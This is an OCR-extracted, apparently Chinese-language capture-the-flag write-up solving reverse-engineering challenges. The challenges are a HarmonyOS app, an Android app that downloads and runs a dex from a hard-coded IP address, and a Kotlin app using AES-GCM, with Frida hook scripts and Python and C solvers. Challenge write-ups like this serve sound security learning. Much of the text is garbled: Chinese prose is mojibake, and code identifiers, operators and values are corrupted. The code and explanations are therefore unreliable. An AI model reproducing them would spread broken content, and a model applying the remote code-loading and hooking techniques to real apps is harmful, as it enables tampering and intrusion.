F : \HWPROJECT\version-Master_Version-OpenHarmony_5.1.0.47-20250111_020518-chos—-sdk-full\version-Master_Version-OpenHarmon
y_5.1.0.47-20250111_0208518-ohos-sdk—Full\windows\toolchains-windows-x6U-5.1.0.48-Betal\toolchains>|




rﬂz:uu 00 n@‘
S HENESIE=v=

i ARG P HIflag

A &

Go!

—PMANE MARTER GOl — M EE, BRARBEARE flag HTE 22480 NO



TR RETTiRE

Sorry, you didn't win the flag

Confirm

R hap X ets {3k ik E].abe X MARBFELR

s
o R
- In defpackage
> (€ @ohos.app
. & @ohos. curves
. & @ohos.matrixa
> (g @system.app
. & @system.curves
& @system.matrixd
. & @system.router
» @ _ESConcurrentModuleRequestsAnnot
> @ _ESSlotNumberAnnotation
- [m peeeentry/src/main
> [m common
~ mets
. mentryability
. = pages

> mview
» b= viewmodel

e RN

[& Summary

public class
public Object

public Object isCommonj
public Obiect hasToplevelAwait;
public Object isSharedModule;
public Obiect scopeNames;
public Object moduleRecordTd;

public Opject
return nul

(Object functionObject, Object newTarget, Index this) {

T

/* JADX WARN: Type inference failed for: r1eve, types: [java.lang.CLass] */
public Object #+#°1(0bject functionObject, Object newTarget, Tndex this) {
return _lexenv_8_8_(null, createemptyobject());

3
public Object “)-(Dbject functionObject, Object newTarget, - this) {
obj = this._pu;

return obj.get();
T
public Opject >@1+#(0bject functionObject, Object newTarget, IndeX this, Object arge, Object argl) {
Column.create|
Column.width(import { default as CommonContants } from "@normalized:Na&entry/src/main/commen/CemmenContantsa”.FULL_PARENT);
Column.height (import { default as CommonContants } from "@normalized:N&&&entry/src/main/common/CommonContantsa”. FULL_PARENT);
obj - Column.backgroundColor;

0bj2 = createchjectwithbuffer(["id", 16777237, "type", 18881, "params”, 8, "bundlelame”, "com.game.vnctf", "modulsName", "entry"1);

obj2.params = [Object];
objloniz);
return null;

T

public Object #-@@>#numX(Obiect functionObject, Object newTarget, IAdeX this) {
obj = this.__numX;
return obj.get();

T

public Object #-@@>¥numy(Object functionObject, Object newTarget, INdeX this) {
obj = this.__nun;
return obj.get();

T

public Object #-@@>Hpw1(Object functionObject, Object newTarget, TAGEX this, Object argd) {
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obj2.initialRender = obj2.#~-@@>#initialRender;

obj2.rerender = obj2.#-@8:#rerender;

obj.getEntryName = obj.#-@8<#getEntryName;

_lexenv_8_8_ = obj;

registerNamedRoute (#*#°1, "", createobjectwithbuffer(["bundleName"”, "com.game.wnctf", “"moduleName", "entry", “pagePat
return null;

}

ah

public Cbject #-~@@>#numX”1(0bject functionObject, CObject newTarget, Index this, Object argl) {
obj = this.__numX;

ohj.set(argd);

return null;

T

+

public Cbject #~@@>#num¥"1l(Object functionObject, © newTarget, Index this, Cbject @rgl) {
obj = this.__numY;

obj.set(arga);

return null;

}

ah

public Cbject #~@@:#result(Cbject functionObject, O newTarget, Index this) {
obj his.__result;

return obj.get();

T

public Object #~@B>@1* b*#(0Object functionObject, Object newTarget, Index this, Object argB) {
_lexenv_@_1_.numX = argl.length;
_lexenv_@_1_.pw = argl;
return null;

T

public Object #-@B:>@l* d*#(CObject functionObject, Object newTarget, Index this) {
libHello = import { default as libHello } from “"@normalized:Y&2&&1libhello.sol™;
MyCry = libHello.MyCry(_lexenv_@_1_.numi, 24, _lexenv_8_1_.pw);
router = import { default as router } from "@ohos:router”;
obj = router.pushUrl;

XER numY Y F—MEXNEDR, RASSZENHEREEERGLE 247

public Object #-@@>@1*" d*#(0bject functionObject, Object newTarget, Index this) {
libHello = import { default as libHello } from "@normalized:Y&2&1ibhello.so&™;
MyCry = libHello.MyCry(_lexenv_@_1_.numX, 24, _lexenv_@_ 1 .pw);
router = import { default as router } from “"@chos:router™;
obj = router.pushUrl;
obj2 = createobjectwithbuffer(["url™, "pages/MyPage", “params", @]);
obj3 = createobjectwithbuffer(["result™, 8]1);
obj3.result = MyCry;
obj2.params = obj3;
obj(obj2);
return null;

X B EESLLTUE 2 Mypage Fl#tA native iz &
BEOHT lib EftT



e saeepe wes fe emmggur e

EH - sV E-

s ssoaessse saegue sp

B @ tgheh e X b OO Fodebugeer

v %
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[F] Fusctions O & x IDA View-h [ Preudocodeh [ [@]  Hex View-l

B [

sub_SEIC4 |
sub_ZEE34
bazefid_encodefztd::_nl::vector{char, std::_
sub_2E1FC

sub_2621C

sub_1111iT14i {std::_nl::vector<char, std::__
sub_Z64C0

sub_ZE4E4

sub_26514

sub_i1113iT113 {std::_nl::veotor<char, std::__
RegisterModule

sub_Z6TF3

sub_28928

sub_Z6DE4

# % hello

o Y

1 __int6d RegisterModule()

2

3 return napi_module_register(&unk_603F@);
u

et

__int6d _ fastcall sub_267F8(__inté6d al, __int6d a2)

{

char dest[6u]; // [xsp+28h] [xbp-ush] BYREF

if ( al && a2 )
{

, sizeof(dest));

if ( Cunsigned int)napi_define_properties(al, a2, 1LL, dest) )

{

OH_LOG_Print(@LL, 6LL, 65280LL, "Init", "napi_define_properties failed");

return OLL;
}

1

2

3

u

5

6

7 memcpy(dest, Soff_5B500
8

9

0

1

2

3 else
u

100058500 2D 5C 61 00 06 Eb 00 00
10005B500

IDOO5E508 00 G0 00 00 00 00 00 @0
IDDO5B510 28 69 02 00 00 00 GO 00

of f_5B500 DCQ aMycry ;
ALIGN 0x10
DCO sub 26928

DATA XREF
. |IMycry "
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sub_26F3u(v13);

v12 = sub_26FBC(v1U);
vll = sub_2703u(viu);
while ( (sub_270Cu(&v12, &v11) & 1) #+= 0 )

{
v10 = *(_BYTE *)sub_270F8(&v12) + 3;
sub_27110(v13, &v10);
sub_2717C(&v12);
}
v5 = (double)(int)hypot(vl6, v15);
std::_nl::basic_string<char, std::__nl::char_traits<char>, std:: _nl::allocator<

va,
"Take_it_easy");
OH_LOG_Print(®LL, 6LL, 65280LL, "MyCry", "Result: %{public}f", v5);
if ( v5 == ue.o )
sub_1111iT11i(v13, v9, (unsigned int)(int)v5);
else
sub_1111iT1ii(v13, v9, (unsigned int)(int)v5);
memset(s, 0, sizeof(s));
if € Cunsigned __int64)sub_261FC(v13) < Ox5A )
base6l_encode((__int6u)vi3, s);
else

vl = strlen(s);
if ( (unsigned int)napi_create_string_utf8(al, =, vi, &E8) )

{
OH_LOG_Print(®LL, 6LL, 65286LL, "MyCry", "napi_create_double failed");
v7 = OLL;

}

else

{
wl = ufe

00025CEQ sub 26928:70 (26CEQ)
R—BTRN (FESBHBLEEEFREBEEN)
BREXBAHL

vl = 0.0;
if ( (unsigned int)napi_get_value_double(al, v19, &16) || (unsigned int)napi_get_value_doubl
{
OH_LOG_Print(@LL, 6LL, 65280LL, "MyCry", "napi_get_value failed");
return OLL;
}
else
{
sub_26DEU(al, v21);
v2 = sub_26F10(viL);
OH_LOG_Print(@LL, 6LL, 65280LL, "MyCry", "ts_putString str = %{public}s", v2);
sub_26F3u(v13);
v12 = sub_26FBC(v1L);
v1l = sub_2703u(v1u);
while ( (sub_270Cu(&v12, &v11) & 1) #* 0 )

T
v10 = *(_BYTE #)sub_270F8(&v12) + 3;
sub_27110(viz, &viU);
sub_2717C(&v12);

}
v5 = (double)(intYhvpoot(vis. viE):

XERZRIEIEMEFHMI T
H—>v5 == 40.0 (HHHEE v5 MERTAY HEKE v5 Z hypot(v16, v15);




1 // attributes: thunk
2 double hypot(double x, double y)

' d
{

return hypot(Cx, v);
}

[ [ =y PN R

EVEER), PUSHITEBAIER C ++F Y hypot() Uk Bl 3 19557 7T MESF 77
RARIEZ R EIE).

else
{
16 = 0.0;
vi5 = 0.0;
if ( (unsigned int)napi_get_value_double(al, v19, &v16) || (unsigned int)napi_get_value_double(al, v20, &JLSJ J

v15,v16 @ XEHIMA FEDIF(HLLAMA) ME—DE 24 — P BRAKE

V2 + 242 — 40
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s & 8|/,
-3 MyPage
ldlexvar3 = _lexenv_©_1_;

ldlexvar3.observeComponentCreation2 (#-@@>@3*#"2, Image);
Stack.pop();
return null;

}

public Cbject #~@@>#screenWidth*l(Cbject functionObject, Cbject newTarget, MyPage this, Object
obj this.__screenlidth;
obj.set(arg®);
return null;

argd) {

/% JADX
public Ob

Type inference failed for: ri3v38, types: [int] =/
#-@8>#startAnimator(C ct functionObject, O ct newTarget, MyPage this) {
newlexenvwithname([&, "array", @, "ay", 1, "tempangle"”, 2, "randomingle", 3, "4newTarget”, 4, "this", 5], 6);
_lexenv_@_4_ newTarget;
_lexenv_€_5_ = this;
_lexenv_@_3_ null;
_lexenv_@_2_ = null;
my

buffer = import { default as buffer } from "@chos:buffer”;

Llexenv_8 @ = UintS8Array(buffer.from(_lexenv_@_5_.result).buffer);

_lexenv_8_1_ = createarraywithbuffer([181, 74, 76, 49, 181, 76, 117, &7, 55, 69, 118, 68, 118, 69, 55, 67, 61, 83, 62, 111, 81, 77,
ldlexvar = _lexenv_@_8_;

ldlexvar.forEach(#-@8-@4+#) ;

ldlexvar2 = _lexenv_@_@_;

ldlexvar2.forEach (#-@8-@4+#"1);

round = Math.round(184 - _lexenv_@ 2_);

_lexenv_@_3_;

_lexenv_@_3_ = round;

console.log( "HEIRE", _lexenv_8_3_);

ldlexvar3 = _lexenv_@_5_;

obj = _lexenv_@_5_.drawModel}

ldlexvar3.prizeData = obj.showPrizeData(_lexenv_8_3_);

obj2 = Context.animateTo;

obj3 = createcbjectwithbuffer(["duraticn", @, "curve", @, "delay", @, "iterations", 1, "playMode"”, @, "onFinish", @]);
obj3.duration = import { default as CommonConstants } from “"@normalized:N&&Zentry/src/main/common/constants/CommonConstants&" . DURATI
obj3.curve = Curve.Ease;
obj3.playMode = PlayMode.Mormal;
obj3.onFinish = #-@8>@4*#onFinish;
obj2(obj3, #-@a>@4<#"2);

return null;

w
oo

w
e

3

public t #~@@-#rotateDegree”1(0bject functionObject, O
obj = this._ rotateDegree;

round = Math.round(104 - _lexenv_0_2 );

Bk _lexenv_ 0 2

CTRL+F #E K IFLER A 7T

Y e 02

A

Cc W
Image.height(import { default as StyleConstants } from “@normalized:N&&&emtry/sre/main/common/constants/StyleConstantsa’”.CENTER_IMAGE _HEIGHT);
Image.enabled(_lexenv_8_1_.enableFlag);

Image.onClick(%-@@>E3*"2%);

return null;

oo
G -1 §

o
-

S

pe inference failed for: ri
vpe inferen
ct #-@8>@4FE 1
if ((_lexenv_@_1_[argl]
return null;

foiled for: rid bject,
functionObject, 0 newTarget, MyPage this,
_lexenv_©_@_[argl] ? 1 : @) == @) {

_e_e_ {

int] #/

j v

B

rl4 = tonumer(_lexenv_@_2_) + 1;
_lexenv_@_2_;

_lexenv_8_2_ - rl4;

return null;

BRI, FIETR—ARUIN 1 b 44 r
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Python

import base64

cmp=[101, 74, 76, 49, 101, 76, 117, 87, 55, 69, 118, 68, 118, 69,
55, 67, 61, 83, 62, 111, 81, 77, 115, 101, 53, 73, 83, 66, 68,
114, 1e9, 108, 75, 66, 97, 117, 93, 127, 115, 124, 109, 82, 93,



115]
str=""
print(len(cmp))
for i in range(len(cmp)):

str+=chr((cmp[i]~7)-1)
print((str))
result = (base64.b64decode(str + "=="))#uLIAN] "=="
temp=list(result)
#
temp=[104,178,121,104,154,142,252,10,65,164,15,194,245,47,32,80,13
9,26,212,196,131,6,216,163,40,55,170,99,11,51,137,54,44]
def rc4_encrypt(data, key):

RC4 encryption algorithm
# Initialize S-box

S = list(range(256))

j=20

for i in range(256):

j=(j + S[i] + key[i % len(key)]) % 256
S[i], s[3] = s[3l, SI[il]

# Encrypt data
i=j=o0
result = []
for byte in data:
i=(i+1) %256
j = (j + S[i]) % 256
S[i], S[31 = s[3l, s[il]
K = S[(S[i] + S[]j]) % 256]
result.append(byte ~ K~40)

return result

# Example usage

flag=""

key = [ord(c) for c in "Take it easy"] # Example key

encrypted_data = rc4_encrypt(temp, key)

for i in range(len(encrypted data)):
encrypted data[i]=chr(encrypted data[i]-3)
flag+=encrypted_data[i]

print(flag)

Lk A% N IE% flag



Congratulations, you won the flag!
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public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(C@569R. layout.activity main);
final EditText editText = (EditText) findViewById(CB569R.(B572id.editTextText);
final String hookfish = getString(C8569R.string.pool);
this.downloadManager = (DownloadManager) getSystemService("download");
Button downloadButton = (Button) findViewById(CB569R.C8572id.download_button);
downloadButton.setOnClickListener(new View.OnClicklListener() { // from class: com.example.hihitt.MainActivity.1
@Override // android.view.View.OnClicklistener
public void onClick(View wiew) {
String inputText = editText.getText().toString();
if (!inputText.isEmpty()) {
MainActivity.this.encodeText = MainActivity.encrypt(inputText);
MainActivity.this.fish(hookfish);
List<String> fishTypes = Arrays.aslist("8f&", "sE@", "FMAE", "Ei@", "£&", "&E&", "#Ha", "#HE", "LWe", "WwE");
Random rand = new Random();
String randomfish = fishTypes.get(rand.nextInt(fishTypes.size()));
Toast.makeText(MainActivity.this, "HI#—%" + randomfish + ", BE&EMET", @).show();
return;

Toast.makeText(MainActivity.this, "E&iGADOSELIE", 8).show();
}
DH

registerReceiver(this.downloadCompleteReceiver, new IntentFilter(“android.intent.action.DOWNLOAD_COMPLETE™));

oncreate 75354, REZMHHIFHE download, #HT T, MESHRZREHTTEA
FETE —NRHTT encrypt TENMANFEFRITNE, 7H—Afish FiA4kEE



DT

public void fish(String fileUrl) {
File file = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), “hook_fish.dex");
DownloadManager downloadManager = (DownloadManager) getSystemService("download");
Uri uri = Uri.parse(fileUrl);
DownloadManager.Request request = new DownloadManager.Request(uri);
request.setTitle("$I8");
request.setDestinationUri(Uri.fromFile(file));
request.setAllowedOverRoaming(false);
request.setAllowedOverMetered(false);
this.downloadID = downloadManager.enqueue(request);
Toast.makeText(this, "Fishing...... ", 8).show();

}

fish THER T IUER THHMARE dex X, MAE] URBIERTH — N & 77 E 3
TEA dex hFE TSN, XETHM dex FFXBR L FHENERDHL, &FE—F
FRESOR url FICAE T FRXX A H, &4 pool

\bLI'J.IIE ranc= PGLII_PGDbWUI'u_C_yC_HIdDI\_VJ.DJ.UJ.C 2Ly e LS LZLZyAde2L/ La4eD4dyle/D L4eID44y L./
L1,4.27 Z</string>

<string name="path password strike through">M3.27,4.27 L19.74,20.74</string>

| <string name="pool">http://47.121.211.23/hook_fish.dex</string> |

<string name="search_menu_title >Search</string>

<string name="searchbar_scrolling view behavior">
com.google.android.material.search.SearchBar$scrollingViewBehavior</string>

<string name="searchview_clear_text_content_description"”>Clear text</string>

<string name="searchview navigation content description">Back</string>

n CEIE B PIE B TN | —

L IR A hook A th o] IR EIX—E &2

JavaScript
Java.perform(function() {
var MainActivity =
Java.use("com.example.hihitt.MainActivity");
console.log("4kFZ5: com.example.hihitt.MainActivity");
MainActivity.fish.implementation = function(a){
console.log("Z#N: ",a);
this.fish(a);

})s
/1B
//B¥CN: http://47.121.211.23/hook_fish.dex

XA T USR] dex BIA, AT INFH—H D4 dex FEIAR

private BroadcastReceiver downloadCompleteReceiver = new BroadcastReceiver() {
// from class: com.example.hihitt.MainActivity.2
@verride // android.content.BroadcastRecelver
public void onReceive(Context context, Intent intent) {
long downloadedID = intent.getlLongExtra("extra download id", -1L);
if (MainActivity.this.downloadID == downloadedID) {
MainActivity.this.loadClass(MainActivity.this.encodeText);
MainActivity.this.fish fade();

AN OO

bl



REFRIIRITHETE, SNEITHRTME, ST lodaclass 1 fish_fade 75
o

public void loadClass(String inputo) {
String inputl = encode(inputo);
File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_ fish.dex");
DexClassLoader dLoader = new DexClassLoader(Uri.fromFile(dexFile).toString(), null, null, Classloader.
getSystemClassLoader().getParent());
try {
Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
Object obj = loadedClass.newInstance();
Method m = loadedClass.getMethod("check", String.class);
boolean check = ((Boolean) m.invoke(obj, inputl)).booleanvalue();
if (check) {
Toast.makeText(this, "78=, @ F#)7! ", @).show();
}
} catch (Exception e) {
e.printStackTrace();|
}
}

loadclass 7735/, AR dex 5, BEEIFAAT AHbAY encode 753k, EHFATHF
8 check 7335# 177 18

# encode J7EH, EFHE2IAMA T HAP Y encode 770, XMEANRAREIINE XA TT
T,
public void fish_fade() {
File file = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");

file.delete();
1

# fishfade 77759, SE3kEY dex (YTt FEEXH#ITT MEREE EXUM
MR ERNBE ERMITERIE] dex XM, EARMIHE, HRMERREIEIR
MBR A A dex it — LRI T AHIFRTTE.

AHTINE



public static String encrypt(String str) {
byte[] strl = str.getBytes();
for (int i = 8; i < strl.length; i++) {
strl[i] = (byte) (strl[i] + 68);
}

StringBuilder hexStringBuilder = new StringBuilder();
for (byte b : strl) {
hexStringBuilder.append(String.format("%82x", Byte.wvalu

¥
String str2 = hexS5tringBuilder.toString();
char[] str3 = str2.toChardrray();|

code(str3, 8);
for (int i2 = ©; 12 < str3.length; i2++) {

if (str3[i2] »>= '"a' && str3[i2] <= "f") {

stri[i2] = (char) ((str3[i2] - "1") + (i2 % 4));
} else {

str3[i2] = (char) (str3[i2] + '7" + (i2 ¥ 18));
¥

¥
Log.d{"encrypt: ", new String(str3));
return new String(str3);

}

private static void code(char[] a, int index) {
if (index »= a.length - 1) 1

return;
¥
a[index] = (char) (a[index] * a[index + 1]);
alindex + 1] = (char) (a[index] * a[index + 1]);

a[index] = (char) (a[index] " al[index + 1]);
code(a, index + 2);
¥
NFEA, BENT 6 KENFH, ML 68, METATREFHNFHFEER
ﬁﬁ?-ﬁ%m%'+ﬁﬁ%%$ﬁ$?@weﬁ%¢,ﬁﬁ7—¢%ﬂ KFr EREE
BRUFHAXBRTE, REXENEERESE $FELTATHF, BEFTHTFE,
ABEERBER T A,

DHrKEE By dex

B ERpH, RIFLGEHBRNEELS, 27 dex XHEIATT BRI X &
Her, Bl fRERR, FERBEENEZ UEBENTTE
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€, hook_fish
package fish;

import java.util.Hashiiap;
re

o /% Loaded fFrom: C:

public class

\Users\86189\Desktop \hook_fish.dex */

private H 5 Fish_dcode;
private H ng> Fish_ecode;
privat

JELIEEREE

10 public hook_fish() {
12 encode_map();
13 decode_map();
¥
16 public void encode map( {
17 HashMap<Ch ing> hashMap = new Ha
this.fish_ ecode

18 hashMap.put('a"', "iiijj
19 this.fish_ecode.put("
20 this.fish_ecode.put(
21 this.fish_ecode.put(
22 this. fish_ecode.put(
23 this.fish_ecode.put(”
2 this. fish_ecode.put(
25 this.fish_ecode.put(
26 is.fish_ecode.put(
27 sh_ecode.put(
28 sh_ecode.put(
29 sh_ecode.put("
30 sh_ecode.put("
31 sh_ecode.put(”
32 sh_ecode.put(”
33 sh_ecode.put(
3 sh_ecode.put(
ES sh_ecode.put(
6 sh_ecode. put(
37 sh_ecode.put(
8 sh_ecode.put(
39 sh_ecode.put(
40 sh_ecode.put(
a sh_ecode.put(
a2 sh_ecode.put(
43 sh_ecode.put(
14 sh_ecode.put(
5 sh_ecode.put(”
6 sh_ecode.put(”
La7] this.fish ecode.put("
B Smali  Simple  Fallback Split view

311811331314314381411391434394191319941531359949591911141949414195114541941114141113115153

TR 1571

public String encode(String str) {

sb =

StringBuilder new 5

for (int i

return sb.toString();

ringBuilder();

~ingBuilder();

=8; 1 < str.length(); i++) {
sb.append(this.fish ecode.get({Chara

cter.valueOf(str.chardt(i)})));

decode(String str) {
new St

int i = 6;
int i2 = @8;
while (i2 < str.length() / 5) {
int i3 = i + 5;
sb.append(this.fish_dcode.get(str.substring(i, i3)));
i2++;
= 1i3;

}

return sb.toString();

public boolean check(String str) {

if (str.equals(this.strr))

return true;

}

return false;|

Irf\-s

check 7735 th R 258 N F 173

IREUE X
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mainactivity 4R 88 7 1§ decode FY773%,

{

TRIE, BREIEHSE.
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AR EI Y fishfade TTAMIBR 7 A A XM, ML ARKA, ROTNEBIITARES
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5 hook A hook SLELAYHAY = — 1, PHIE dex A9MIBR E A 2, BITIFEA
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JavaScript

Java.perform(function() {
var MainActivity =

Java.use("com.example.hihitt.MainActivity");
console.log("4kF|Z5: com.example.hihitt.MainActivity");
/ /hook FEMHIERIITTi%, JFEREAEI T ik BEAT Al
MainActivity.fish_fade.implementation = function() {

console.log(" FHIEMIER 7 3CfE");

var result =

iiijiijijijiijijiiijjjiijjijiiiljiijiijilji");
console.log("f&4EH: " + result);
}s
})s
/ /% A
/ /BHIEMIER 1 SCF
/R R
0gksrtuwdx74r2n3s2x300i4ps54r173k20s12r32pmgqnu73rih432n301twng43pr
ruo2h5

fRE A
KEBE, 198 java EHRTEASREHA

C
#include <stdio.h>
int main(){

/113353
0gksrtuw@x74r2n3s2x300i4ps54r173k20s12r32pmgnu73rlh432n301twng43pr
ruo2h5

unsigned char encode[73] =
"0gksrtuwdx74r2n3s2x300i4ps54r173k20s12r32pmgnu73rlh432n301twng43p
rruo2h5";



for(int i =0;i<72;i++){
if(encode[i] »>="'@' && encode[i]<='9"){
encode[i]= (encode[i]-(i%4))+49;
}else{

encode[i]= (encode[i]-(i%1@))- 55;

for(int i=0;i<72;i+=2){
char tmp = encode[i];
encode[i]=encode[i+1];
encode[i+1l]=tmp;
}
for(int i=0;i<72;i++){
printf("%c",encode[i]);

}

//9a9287988abfb9a3b6a978b075bda3afb274bba38c7493afa3blbda3aa7597ac
6575b0oc1

Last build: 3 months ago - Version 10 is here! Read about the new features here Options & About / Support g

Recipe ~ Al 8 Input + O] ®

—
[ T
E H ~ 9a39287988abfb%9a3b6a978b075bda3afb274bba38c7493afa3blbda3aa7597ac6575b8cl
rom Hex
Delimiter
Auto
SUB -~
Key
44 HEX ~

mec 72 = 1 Tr Raw Bytes < LF

Output A0 m:s

VNCTF{u_red4lly kn@w_He0k_my_f1Sh!11}

VNCTF{u_re4lly_knOw_HOOk_my fiSh!1l}

kotlindroid



[J] SearchActivityKt/Source *

Assisti
private static final Unit Title$lambda$9(int v, Composer composer®, int v1) {

SearchActivityKt.Title(composer®, RecomposeScopeImplKt.updateChangedFlags(v | 1));
return Unit.INSTANCE;

public static final byte[] access3generateIV() {
return new byte[]{49, 49, 52, 53, 49, 52};
H

private static final void check(5tring text, Context context, byte[] key) {
SearchActivityKt.sec(context, new SecretKeySpec(key, "AES"), text, (String flag) -» {
Intrinsics.checkNotNullParameter(context, "Scontext™);
Intrinsics.checkNotNullParameter(flag, "flag");
if(Intrinsics.areEqual(flag, "MTEONTE@HMuJKLOW1BqCALZMxpHYjGjpPq82XXQ/ jgxSHYrZ2MV53a0xjQVbRaVdRIXFrSn6ECQPzA==")) {
Toast.makeText(context, "Congratulations! :)", @).show();
return Unit.INSTANCE;

makeText(context, "Wrong :(", @).show();
return Unit.INSTANCE;

private static final Unit check$lambda$l4(Context $context, String flag) {
Intrinsics.checkNotNullParameter ($context, “$context™);
Intrinsics.checkNotNullParameter(flag, "flag");
if(Intrinsics.areEqual(flag, “MTE@NTE@HMuIKLOW1BgCAIZMxpHYjGjpPq82XNQ/ JExSWYrZ2MV53a9xjQVbRaVARIXFrsneECQPzA==")) {
Toast.makeText($context, "Congratulations! :)", @).show();
return Unit.INSTANCE;

¥

Toast.makeText($context, "Wrong :(", @).show();
return Unit.INSTANCE;

}

private static final Cipher createCipher() {
Cipher cipher® = Cipher.getInstance("AES/GCM/NoPadding™);
Intrinsics.checkNotNullExpressionValue(ciphers, "getInstance(...)"
return cipher@;

1 searchactivity &I @P 4, o PUREEIINZIER A AES-GCM, iv 4 114514,
BX A
MTEONTEOHMuJKLOW1BgCAi2MxpHY|GjpPg82XXQ/jgx5WYrZ2MV53a9xjQVbRa
VARiIXFrSn6EcQPzA==

private static finmal GCMParameterSpec getGCMParameterSpec(byte[] iv) {
return new GCMParameterSpec(@x80, iv);

BF %1 getGCMParameterSpec % & 7 tag 4 128 fir

ButtonKt.Button(() -> {
Intrinsics.checkNotNullParameter(text, “$text”);
Intrinsics.checkNotNullParameter(((Context)jobject®), "Scontext");

o) ion destination$iviiv = new Arraylist(8);

(int vl = @; vl < B; ++vl)

destination$ivfiv.add(((byte)(new byte[]{ex76, 99, 101, @x7E, @x7C, @x72, 110, 100}[vl] ~ 23)));

byte[] arr_b = CollecticnsKt.toByteArray(((List)destination$iviiv));
C ion destination$iviiv = new Arraylist(8);

int v = 8; v < 8; ++v) {

destination$iviiv.add(((byte)(new byte[]{ex7B, @x71, 109, 99, 97, Ox7A, @x7C, 105}[v] ~ 8)));

¥
SearchActivityKt.check(text, ((Context)object®), ArraysKt.plus(arr_b, CollecticnsKt.toByteArray(((List)destination®ivdiv))));

return Unit.INSTANCE;
b

7£ button EEEZE T RNEAE, R ZETINEE key : atrikeyssyekirta



@override
public final Object invokeSuspend(Object object®) {
com.atri.ezcompose.SearchActivityKt.sec.1l this;
Object objectl = IntrinsicsKt.getCOROUTINE_SUSPENDED();
switch(this.label) {
case 0: {
ResultKt.throwOnFailure(object@);
this = this;
try {
Cipher cipher® = SearchActivityKt.createCipher();
byte[] arr_b = {49, 49, 52, 53, 49, 52};
GCMParameterSpec glMParameterSpecd® = SearchActivityKt.getGCMParameterSpec(arr_b);
cipher@.init(1, this.f$secretkey, gCMParameterSpec®);
byte[] arr_bl = JINI.INSTANCE.getAt().getBytes(Charsets.UTF_8);
Intrinsics.checkMotNullExpressionValue(arr_bl, “"getBytes(...)");
cipher@.updatefiD(arr_bl);
Charset charset@ = StandardCharsets.UTF_8;
Intrinsics.checkNotNullExpressionValue(charset®, "UTF_8");
byte[] arr_b2 = this.$text.getBytes(charseta);
Intrinsics.checkNotNullExpressionValue(arr_b2, "getBytes(...)");
byte[] arr_b3 = cipher@.doFinal(arr_b2);
Intrinsics.checkMotNull(arr_b3);
byte[] arr_b4 = Arrayskt.plus(arr_b, arr_b3);
String s = Base64.encode$default(Base64.Default, arr_b4, @, @, 6, null);
Functicn2 function2@ = new Functicn2(s, null) {

7 sec BBETNEIIBMAT INIEHET — B3 ar_bl 4 add 918, RELES
IR ESOET v HEE

package com.atri.ezcompose;

import kotlin.lazy;
import kotlin.LlazyKt;
import kotlin.Metadata;

[@Metadata(dl = {"\u0e0a\uda1A\n\uGBa2 \uBe18\udeaz2 \n\ueanz2 \udale\udeaa \n \ueaaz \b\uees\n\ueeez \use1e\udaaE \n\ueeaa\n\ueeaz \uoa
public final class INI {

public static final int $stable;

public static final INI INSTANCE;

private static final Lazy at$delegate;

static {
INI.INSTANCE = new JINI();
System.loadLibrary("ezcompose™);
INI.atfdelegate = Lazykt.lazy(() -»
INI.INSTANCE.native_natget(new byte[ ]{0x7B, @x71, 189, 99, 97, @x7A, @x7C, 185}));
INI.®stable = B;

private static final String at_delegateflambdage() {
return JINI.INSTANCE.native natget(new byte[]{0x7B, @x71, 1@9, 99, 97, @x7A, @x7C, 105});

public final String getAt() {
return (5tring)INI.gtSdelegate.getValue();
}

private final native String native_natget(byte[] argl) {

1 jni EmEAR T A 777% native_natget £ N\ T —EXE4H new byte[[{0x7B, 0x71, 109,
99, 97, Ox7A, 0x7C, 105}

HTEXRER add E2—HH, TTUEER frida SEZFFRFREE

o] UEESDHT, XE— N kotlin R/ so, EXRE 7T EBHNFS, TJUEREE
Z % native_natget & %1

native_natget(void env, void thiz, void byteArray)

7 3N, JeE—ITERMNNVEA

tlin.ByteArray, x8_15, var_458 + 8x88)

XEMI L T ENNEACIE T 6], REAK



var_458 + 8x68))

this.q = this.qg

kfun:kotlin.na
this

this.q = this.q

ullPointerException()
noreturn

xB8_37 = kfun
* x0_38 (

if (x6_48
Th Ar eticException()
noreturn

var_6f4_1 = @

if (((war_1bB_1 == Bx 1 B) & (x8.40 == 71 :0)&1) ==0
var_6f4 1 = var_1b8_1 s B

t(x08_38, var_6f4_1)

otlin.Int(*(var_458 +

noreturn

Kotlin_ByteArr set(x6_31, var_1bB_1, xB_37 * x8_42 * Kotlin_ByteArray_get(x6_43,
while (var_lac s< xB8_15)

o IMEFEBENFE, Kotlin_ByteArray _get(x0_43, 8 s% x0_45))E 7 ZA#b £#E 01 1f
09 11 15 1f Oe 0a 17 A9%E 9 NEE Ox17, X0 42 2EIA 9 5EE] 8 i, x0_37 £H
LRI, X EHIEEZ BT RIIR LRI B AR EE

RIBIZ AR O] U H 5k mysecret



From Hex
Delimiter
Auto

XOR

Key

ox7B, HEX~

ex71, exeéd,..
] Nl preserving
XOR

Key

ox17 HEX~

CJ Nl preserving

Any?) {}kotlin

911f@911151fee0a

Scheme
Standard
mec 16 = 1
~
Output
>cheme mysecret
Standard Y

81, var_458 + 8x98)

tils(var_458 +

ERETUNEIAE — &AL mysecret [FEINET add XERFHF&E, AREELRS

java =

BEARER B AR

AES Decrypt

Key v
atrikeyssy.. ~ATINT™ 114514 LATINT ~
Mode Input Output

GCM Hex Raw

Additional Authenticated Data
mysecretadd ~ LATINT™

GCM Tag

8d@55b45a55d..  HEXT

Fuko's starfish

1ccb8928b396d41a82022d8cc691d88c68e93eaf365d743F8ec79598adad8c579ddaf71

me 72 = 1

Output

VNCTF{Y@U_@re_th3_Ma5t3r_of_cempos3}|

—/MRELAY windows exe jfi[a), FEEREAR dI F2FIEK, windows F L KIEIXFE

Wieta<.

EFTTIRR, AER dINEN B —MERERE. IRPAHT T MR, XEFEN



MR EIRE, ERIECEREEH T BH. XERFE patch #£ push rax Z

pop rax (IR DAL B A LB E.
/  byte_1BYYYEY /O
8 srand(114514u);
9 v17 = rand();
‘e  byte_18000ElE6 = v17 + v17 / 255;
'l v18 = rand();
'2  byte_18000E1F@ = v138 + v18 / 255;
'3 v19 = rand();
‘4 byte 18000E1F2 = v19 + v19 / 255;
'5  v20 = rand();
'6  byte_18000E200
'7  v21 = rand();
'8 byte_18@00E204 = v21 + v21 / 255;
'9  v22 = rand();
'©  byte_ 18000E210
i1 v23 = rand();
2 byte 18000E950 = v23 + v23 / 255;
i3 v24 = rand();
